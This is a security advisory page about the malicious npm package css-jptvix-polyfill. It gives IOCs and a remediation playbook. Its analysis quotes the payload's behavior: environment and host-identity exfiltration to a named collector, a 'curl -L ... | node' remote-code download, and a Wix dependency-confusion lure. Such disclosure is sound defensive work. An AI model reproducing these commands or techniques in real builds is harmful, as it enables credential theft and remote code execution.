Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

css-jptvix-polyfillnpm

Advisory published Updated

css-jptvix-polyfill is a confirmed malicious npm package (MAL-2026-17638) that steals credentials and exfiltrates sensitive data (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in css-jptvix-polyfill (npm)

MAL-2026-17638
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall css-jptvix-polyfill

What this malware does

[email protected] was published to npm on 2026-10-06 07:29 UTC by user naorya and was unpublished by npm on 2026-10-06 15:04 UTC after a malware report. It is described as a CSS polyfill but contains no polyfill: index.js is an empty module, registry-manifest.min.json maps Wix-internal module names (thunderboltRegistry, siteAssetsRegistry, editorRegistry, corvidRegistry, ...) to static.parastorage.com (Wix CDN) URLs, and thunderboltRegistry.js carries the payload, which runs at require time as a top-level IIFE.

Behavior of thunderboltRegistry.js: (1) obtains child_process through require('child_process'), require('node:child_process') or a fresh Module instance if both are blocked; (2) runs the host commands id, id -un || whoami, env and ifconfig || ip addr with execSync and sends each output, together with os.hostname(), to an out-of-band collector at orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com as cmd=id, cmd=whoami, cmd=env and cmd=ifconfig; the env step leaks every environment variable of the host, including tokens and cloud credentials; (3) runs curl -L https://appsecc.com/js | node, i.e. downloads and executes remote code, and reports the result as cmd=reverse-shell; (4) sends a beacon tagged rce-poc with the Node version, platform and process id; (5) exports Proxy objects under the Wix-internal module names, which together with the manifest indicates a dependency-confusion attempt against that organization's private packages.

Trigger: on import (require). Type: information stealer (host identity and environment variables) plus remote code execution. Same facade and behavior as css-eqxcdx-polyfill (different package name and collector host).

The package ships thunderboltRegistry.js, a Proxy-based shim that exports names mimicking internal Wix thunderbolt modules (thunderboltRegistry, siteAssetsRegistry, editorRegistry, corvidRegistry, documentManagementRegistry, and others) so that any import of those names in a victim build auto-triggers its payload. On load, the module uses child_process.execSync to run id, whoami, env, and ifconfig/ip addr, and ships the output together with the hostname via fetch to the hardcoded Burp Collaborator subdomain https://orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com, leaking the full process environment (including any tokens or secrets present) and host identifiers off the installer's machine. The same IIFE additionally runs curl -L https://appsecc.com/js | node, piping attacker-controlled JavaScript from an unrelated third-party domain directly into the installer's Node.js interpreter; the code labels this branch reverse-shell. The package name and the Wix-internal registry shape are consistent with a dependency-confusion lure targeting Wix thunderbolt builds.

Malicious versions

1 flagged
1.0.0

Indicators of compromise (SHA-256)

cea61788c370593a2720461d06b74942933d38d30b449851a05541b5b7f189aa

Detection & response playbook

Credential / info stealer
  1. Find it

    Search your lockfiles and build artifacts for css-jptvix-polyfill (version 1.0.0).

  2. If you installed it — respond

    css-jptvix-polyfill is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If css-jptvix-polyfill was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. css-jptvix-polyfill on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-021098

References

Credits

  • Amazon Inspector · finder
  • Eunsoo Kim · finder

Detect & block this

O3 blocks css-jptvix-polyfill-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore

css-jptvix-polyfill (npm) malicious package — MAL-2026-17638 | O3 Security